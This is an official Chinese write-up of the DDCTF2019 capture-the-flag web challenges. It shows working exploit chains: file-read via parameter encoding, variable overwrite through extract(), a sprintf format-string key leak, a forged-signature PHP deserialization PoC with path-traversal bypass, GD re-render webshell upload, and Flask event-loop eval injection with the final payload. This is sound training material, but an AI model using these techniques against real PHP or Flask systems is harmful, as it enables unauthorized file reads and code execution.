【知识库】DDCTF2019官方Write Up——Web篇(一)
官方writeup公布时间线

Web作者:cl0und
成都信息工程大学/大三/Web Top1
文章目录
Web? Write Up(所有题目均含出题人解析)
0x01 :滴~
0x02 :WEB 签到题
0x03 :Upload-IMG
0x04 :homebrew event loop
0x05 :欢迎报名DDCTF(见第二篇)
0x06 :大吉大利,今晚吃鸡~(见第二篇)
0x07 :mysql弱口令(见第二篇)
0x08 :再来1杯Java(见第二篇)
01
滴~


本题的定位是签到题,所以出题点还是常见的编解码、变量覆盖、过滤等。题目整体较为简单,但埋了个“坑”。主旨还是在提醒大家多关注细节并且多尝试。跟预期情况差不多,“心情复杂”、“骂出题人的....”。题目设计中有三次会提醒引导至关键文章
1.代码中的另一提示“日期”。
2.翻文章肯定会翻评论,前人思路...。
3.博客的特点,“热评文章”、“最近评论”会显示在该博客主人的其他文章中。
--------------选手Write Up--------------
题目链接:http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 首页是是一张图片

结合jpg参数怀疑存在文件包含漏洞,其加密方法是先ascii hex再经过两次base64

知道加密方法后可以读index.php文件
< ?php
/*
*????https://blog.csdn.net/FengBanLiuYun/article/details/80616607
*????Date:?July?4,2018
*/
error_reporting(E_ALL?||?~E_NOTICE);
header('content-type:text/html;charset=utf-8');?if(!?isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz0
9');
$file?=?hex2bin(base64_decode(base64_decode($_GET['jpg'])));?echo?'' .$_GET['jpg'].'';
$file?=?preg_replace("/[^a-zA-Z0-9.]+/","",?$file);?echo?$file.'';
$file?=?str_replace("config","!",?$file);?echo?$file.'';
$txt?=?base64_encode(file_get_contents($file));
echo?"
.$txt."'>";
/*
*????Can?you?find?the?flag?file?
*
*/
?>
网上搜代码可以发现这和之前某春秋的题目非常类似,di?一下出题点应该在https://blog.csdn.net/FengBanLiuYun/article/details/80616607根据提示的日期 Date: July 4,2018 可以找到对应的博文

这里卡了好久各种试已知路径的swp文件,最后发现访问
http://117.51.150.26/practice.txt.swp 有反应,提示了?ag文件位置。

因为index.php中把解码后的文件名用以下正则做了过滤,不允许有了除了 . 之外的特殊符号而?ag 文件中含有 ! 所以无法直接阅读文件内容。
$file?=?preg_replace("/[^a-zA-Z0-9.]+/","",?$file);
不过这段在进行正则过滤后又进行了二次过滤代码如下,恰巧又是用 ! ,所以可以用文件名
$file?=?preg_replace("/[^a-zA-Z0-9.]+/","",?$file);
不过这段在进行正则过滤后又进行了二次过滤代码如下,恰巧又是用?!?,所以可以用文件名
flagconfigddctf.php?绕过
$file?=?str_replace("config","!",?$file);
接着读?flag!ddctf.php
< ?php?include('config.php');
$k?=?'hello';?extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));?if($uid==$content)
{
echo?$flag;
}
else
{
echo'hello';
}
}
?>
extract($_GET);?
这里有一个明显的变量覆盖漏洞,把 k 覆盖成vps地址, uid 参数与vps地址内容保持相同即可,如图

02
WEB 签到题


WEB签到题作为签到题只能算做中规中矩,非常清晰、简单的代码审计及其利用链路,http header自定义参数处越权、sprintf格式化注入、Session处反序列化及正则绕过。
--------------选手Write Up--------------
题目链接:http://117.51.158.44/index.php 直接登陆会提示权限不够

抓包分析可以看到有个明显的header头 didictf_username

把它改成 admin 即可正常访问

访问可以拿到两个php文件源码
url:app/Application.php
Class?Application?{?var?$path?=?'';
public?function?response($data,?$errMsg?=?'success')?{
$ret?=?['errMsg'?=>?$errMsg,?'data'?=>?$data];
$ret?=?json_encode($ret);?header('Content-type:?application/json');?echo?$ret;
}
public?function?auth()?{
$DIDICTF_ADMIN?=?'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME'])?&&?$_SERVER['HTTP_DID?ICTF_USERNAME']?==?$DIDICTF_ADMIN)?{
$this->response('您当前当前权限为管?员----请访问:app/fL2XID2i0Cd
h.php');
r');
return?TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','erro
exit();
}
}
private?function?sanitizepath($path)?{
$path?=?trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\','',$path);?return?$path;
}
public?function?destruct()?{?if(empty($this->path))?{
exit();
}else{
$path?=?$this->sanitizepath($this->path);?if(strlen($path)?!==?18)?{
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
url:app/Session.php
include?'Application.php';
class?Session?extends?Application?{
//key建议为8位字符?
var?$eancrykey????=?'';
var?$cookie_expiration????=?7200;
var?$cookie_name????=?'ddctf_id';
var?$cookie_path????=?'';
var?$cookie_domain????=?'';
var?$cookie_secure????=?FALSE;
var?$activity????=?"DiDiCTF";
public?function?index()
{
if(parent::auth())?{
$this->get_key();
if($this->session_read())?{
$data?=?'DiDI?Welcome?you?%s';
$data?=?sprintf($data,$_SERVER['HTTP_USER_AGENT']);?parent::response($data,'sucess');
}else{
$this->session_create();
$data?=?'DiDI?Welcome?you';?parent::response($data,'sucess');
}
}
}
private?function?get_key()?{
//eancrykey????and?flag?under?the?folder
$this->eancrykey?=????file_get_contents('../config/key.txt');
}
public?function?session_read()?{?if(empty($_COOKIE))??{?return?FALSE;
}
$session?=?$_COOKIE[$this->cookie_name];?if(!isset($session))?{
parent::response("session?not?found",'error');?return?FALSE;
}
$hash?=?substr($session,strlen($session)-32);
$session?=?substr($session,0,strlen($session)-32);
if($hash?!==?md5($this->eancrykey.$session))?{?parent::response("the?cookie?data?not?match",'error');?return?FALSE;
}
$session?=?unserialize($session);
if(!is_array($session)?OR?!isset($session['session_id'])?OR?!isset?($session['ip_address'])?OR?!isset($session['user_agent'])){
return?FALSE;
}
if(!empty($_POST["nickname"]))?{
$arr?=?array($_POST["nickname"],$this->eancrykey);
$data?=?"Welcome?my?friend?%s";?foreach?($arr?as?$k?=>?$v)?{
$data?=?sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address']?!=?$_SERVER['REMOTE_ADDR'])?{?parent::response('the?ip?addree?not?match'.'error');?return?FALSE;
}
if($session['user_agent']?!=?$_SERVER['HTTP_USER_AGENT'])?{?parent::response('the?user?agent?not?match','error');?return?FALSE;
}
return?TRUE;
}
private?function?session_create()?{
$sessionid?=?'';?while(strlen($sessionid)?< ?32)?{
$sessionid?.=?mt_rand(0,mt_getrandmax());
}
$userdata?=?array(
'session_id'?=>?md5(uniqid($sessionid,TRUE)),?'ip_address'?=>?$_SERVER['REMOTE_ADDR'],?'user_agent'?=>?$_SERVER['HTTP_USER_AGENT'],?'user_data'?=>?'',
);
$cookiedata?=?serialize($userdata);
$cookiedata?=?$cookiedata.md5($this->eancrykey.$cookiedata);
$expire?=?$this->cookie_expiration?+?time();?setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf?=?new?Session();
$ddctf->index();
主要的逻辑点在 session_read 和 session_create 上, session_create 会对一个数组的类型的数据进行序列化并签名, session_read 会根据签名验证序列化的数据是否被篡改,如果没有被篡改那么就进行反序列化。显然这是一道考察反序列化知识点的题目,可利用的魔术方法是
Application.php 中的 ? ?destruct ,这个类对应的对象在析构的时候会去文件内容并返回。
唯一需要解决的问题是如何拿到 eancrykey ,代码中和key操作相关的是 session_read 这一段
if(!empty($_POST["nickname"]))?{
$arr?=?array($_POST["nickname"],$this->eancrykey);
$data?=?"Welcome?my?friend?%s";?foreach?($arr?as?$k?=>?$v)?{
$data?=?sprintf($data,$v);
}
parent::response($data,"Welcome");
}
这里把 eancrykey 也带入了循环,所以只要nickname中有 %s 即可读出,具体操作如下

有了 eancrykey 就可以随便签名了,下面是最终payload
< ?php
include?'Application.php';
$eancrykey?=?"EzblrbNS";
$sessionid?=?'';?while(strlen($sessionid)?< ?32)?{
$sessionid?.=?mt_rand(0,mt_getrandmax());
}
$poc?=?new?Application();
$poc->path?=?"..././config/flag.txt";
$userdata?=?array(
'session_id'?=>?md5(uniqid($sessionid,TRUE)),?'ip_address'?=>?$_SERVER['REMOTE_ADDR'],?'user_agent'?=>?$_SERVER['HTTP_USER_AGENT'],?'user_data'?=>?'',
'flag'?=>?$poc,
);
$cookiedata?=?serialize($userdata);
$cookiedata?=?$cookiedata.md5($eancrykey.$cookiedata);?echo?"-----------------------------------------------n";
var_dump($cookiedata);

03
Upload-IMG


送命题,下一位
--------------选手Write Up--------------
题目链接:http://117.51.148.166/upload.php
上传图片再去访问图片可以发现文件头有php gd的字样,结合题意(处理后的图片中要有phpinfo字样)猜测考的是PHP GD库二次渲染绕过,网上已经有很多相关文章。
工具在https://wiki.ioin.in/soft/detail/1q可以下载
经验就是
1、图片找的稍微大一点 成功率更高
2、shell语句越短成功率越高
3、一张图片不行就换一张 不要死磕
4、可以把gd处理的图片再用工具跑一遍再传
5、看脸
搞了几个小时之后出?ag了。。。

04
homebrew event loop


这题是参考了pwn的ROP思想写出来的,为丰富题目背景强行加了一些梗和元素,比如包含敏感信息的'log'、event loop queue之类的,因为很简单所以也没什么好多说的了,希望大家玩的开心。
--------------选手Write Up--------------
题目链接:http://116.85.48.107:5002/d5af31f88147e857/ 题目源码
Download?this?.py?file?Go?back?to?index.html
#?-*-?encoding:?utf-8?-*-?#?written?in?python?2.7
?????author?????=?'garzon'
from?flask?import?Flask,?session,?request,?Response
import?urllib
app?=?Flask(?name?)
app.secret_key?=?'*********************'?#?censored?url_prefix?=?'/d5af31f88147e857'
def?FLAG():
return?'FLAG_is_here_but_i_wont_show_you'????#?censored
def?trigger_event(event):?session['log'].append(event)
if?len(session['log'])?>?5:?session['log']?=?session['log'][-5:]?if?type(event)?==?type([]):
request.event_queue?+=?event?else:
request.event_queue.append(event)
def?get_mid_str(haystack,?prefix,?postfix=None):
haystack?=?haystack[haystack.find(prefix)+len(prefix):]?if?postfix?is?not?None:
haystack?=?haystack[:haystack.find(postfix)]?return?haystack
class?RollBackException:?pass
def?execute_event_loop():
valid_event_chars?=?set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS?TUVWXYZ_0123456789:;#')
resp?=?None
while?len(request.event_queue)?>?0:
event?=?request.event_queue[0]?#?`event`?is?something?like?"actio?n:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue?=?request.event_queue[1:]
if?not?event.startswith(('action:',?'func:')):?continue?for?c?in?event:
if?c?not?in?valid_event_chars:?break?else:
is_action?=?event[0]?==?'a'
action?=?get_mid_str(event,?':',?';')
args?=?get_mid_str(event,?action+';').split('#')?try:
e?'_function'))
event_handler?=?eval(action?+?('_handler'?if?is_action?els
ret_val?=?event_handler(args)
/>'
except?RollBackException:
if?resp?is?None:?resp?=?''
resp?+=?'ERROR!?All?transactions?have?been?cancelled.?
resp?+=?'Go?back?to?index.h
tml
'
session['num_items']?=?request.prev_session['num_items']?session['points']?=?request.prev_session['points']
break
except?Exception,?e:
if?resp?is?None:?resp?=?''
#resp?+=?str(e)?#?only?for?debugging?continue
if?ret_val?is?not?None:
if?resp?is?None:?resp?=?ret_val?else:?resp?+=?ret_val
if?resp?is?None?or?resp?==?'':?resp?=?('404?NOT?FOUND',?404)?session.modified?=?True
return?resp
app.route(url_prefix+'/')?def?entry_point():
querystring?=?urllib.unquote(request.query_string)?request.event_queue?=?[]
if?querystring?==?''?or?(not?querystring.startswith('action:'))?or?len?(querystring)?>?100:
querystring?=?'action:index;False#False'?if?'num_items'?not?in?session:
session['num_items']?=?0
session['points']?=?3?session['log']?=?[]
request.prev_session?=?dict(session)?trigger_event(querystring)
return?execute_event_loop()
#?handlers/functions?below?--------------------------------------?def?view_handler(args):
page?=?args[0]?html?=?''
html?+=?'[INFO]?you?have?{}?diamonds,?{}?points?now.
'.format(ses?sion['num_items'],?session['points'])
if?page?==?'index':
html?+=?'View?source?code
'
html?+=?'Go?to?e-shop
'?html?+=?'Reset
'
elif?page?==?'shop':
html?+=?'Buy?a?diamond?(1?point)
/>'
elif?page?==?'reset':
del?session['num_items']
html?+=?'Session?reset.
'
html?+=?'Go?back?to?index.html
>'
return?html
def?index_handler(args):?bool_show_source?=?str(args[0])?bool_download_source?=?str(args[1])
if?bool_show_source?==?'True':
source?=?open('eventLoop.py',?'r')?html?=?''
if?bool_download_source?!=?'True':
html?+=?'Download?this?.?py?file
'
html?+=?'Go?back?to?index.html
'
for?line?in?source:
if?bool_download_source?!=?'True':
html?+=?line.replace('&','&').replace('t',?'?'*4).replace?('?','?').replace('< ',?'< ').replace('>','>').replace('n',?'
')
else:
html?+=?line?source.close()
if?bool_download_source?==?'True':?headers?=?{}
headers['Content-Type']?=?'text/plain'
headers['Content-Disposition']?=?'attachment;?filename=serve.p
y'
return?Response(html,?headers=headers)?else:
return?html
else:
trigger_event('action:view;index')
def?buy_handler(args):?num_items?=?int(args[0])
if?num_items?< =?0:?return?'invalid?number({})?of?diamonds?to?buy
>'.format(args[0])?session['num_items']?+=?num_items
trigger_event(['func:consume_point;{}'.format(num_items),?'action:vie?w;index'])
def?consume_point_function(args):?point_to_consume?=?int(args[0])
if?session['points']?< ?point_to_consume:?raise?RollBackException()?session['points']?-=?point_to_consume
def?show_flag_function(args):?flag?=?args[0]
#return?flag?#?GOTCHA!?We?noticed?that?here?is?a?backdoor?planted?by?a?hacker?which?will?print?the?flag,?so?we?disabled?it.
return?'You?naughty?boy!?;)?
'
def?get_flag_handler(args):
if?session['num_items']?>=?5:
trigger_event('func:show_flag;'?+?FLAG())?#?show_flag_function?has?been?disabled,?no?worries
trigger_event('action:view;index')
if???name?????==?'?main?':?app.run(debug=False,?host='0.0.0.0')
通读一遍代码之后可以发现这个题的代码逻辑和常规的?ask开发不太一样
路由和功能的绑定
通常?ask代码是用 @app.route('/path')? 装饰一个方法的形式来做路由,但是这段代码按照第一个 ; 和第一个 # 分割路由和传入功能的参数,并且在eval那点的字符串可控

路由的异步性
要进行的操作都会放在一个队列里面,先进队列的先执行。

后续的购买操作同样是这样,买东西的时候并不会立刻check是否点数合乎要求,而是先把
num_items 加上在被check路由放进队列。

代码注入意味着我可以劫持程序运行的流程,结合路由的特性我可以直接注入我想要几个的操作一及其参数一次性加入到路由队列中( buy_handler + get_flag ),又因为路由的异步性
check路由在我 get_flag ?路由之后,这样就可以在check金钱是否合理之前拿到?ag。程序会把?ag放在session中而根据?ask客户端session的特性即可读出?ag


最终payload如下
action:trigger_event#;action:buy;10#action:get_flag;#a:show_flag;1

python?decodeflask.py?.eJxtzlFrwjAUBeC_MvLsQ9oiXQo-KDMFIYZtmUkzxmiMk8YkltX?aLeJ_X_FBcPbtwjl895yA3W9B9n4CDwpkoOBLWHLUUv_yW3LtpVh8SSGt8s-Gxtjo3B6VqSstd?ilhU3PtO201Rk7l2NNuMgHn0R3pFtGGNT9keonv0v_Ax1WQftUWoTYqHgfNIyuS2bHkY0jDvBu?QvKylWKd9YyfF9iLdQqHMUSJi2RR8nZKkgGT1GLRZtv2AhjzNOhFjKvsxbI7Za4QMg-hb5W9Ds?weeAd-6z-qwcQ3I4AjU-8of-jM5_wEps3QC.D5IA3A.NigoaBZy6wUzszTAv0mYX2jqdu4
{u'points':?3,?u'num_items':?0,?u'log':?['action:trigger_event#;action:bu?y;10#action:get_flag;',?['action:buy;10',?'action:get_flag;'],?['func:cons?ume_point;10',?'action:view;index'],?'func:show_flag;3v41_3v3nt_l00p_aNd_f?LASK_cOOkle',?'action:view;index']}
0x05 :欢迎报名DDCTF(见第二篇)
0x06 :大吉大利,今晚吃鸡~(见第二篇)
0x07 :mysql弱口令(见第二篇)
0x08 :再来1杯Java(见第二篇)
【知识库】DDCTF2019官方Write Up——Misc篇(二)
—————?End?—————
? ? 延伸阅读? ??
【知识库】DDCTF2019官方Write Up——Android篇
【知识库】DDCTF2019官方Write Up——Reverse篇
【知识库】DDCTF2019官方Write Up——Misc篇
官网题目仍开放访问,点击“阅读原文“前往
? ? 关于漏洞 ? ?
滴滴出行相关漏洞请提交至
http://sec.didichuxing.com/

关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 总书记引领中国经济巨轮行稳致远 7904244
- 2 外交部回应美批准对华出售H200芯片 7808130
- 3 日本气象厅:一周内或发生9级地震 7712663
- 4 明年经济工作怎么干?关注这些重点 7619588
- 5 受贿超11亿!白天辉被执行死刑 7523140
- 6 “丧葬风”头巾实为日本品牌设计 7424661
- 7 中方回应没接听日方“热线电话” 7331325
- 8 男子彩票中748万遭店主扣押实体票 7234711
- 9 日本发生7.5级强震后 高市早苗发声 7143125
- 10 “中国游”“中国购”体验感拉满 7044473


![tt小药丸 稀疏刘海儿[泪][泪] ](https://imgs.knowsafe.com:8087/img/aideep/2022/1/28/c98a0b572b8cf3b793686a229c85a455.jpg?w=250)




滴滴安全应急响应中心
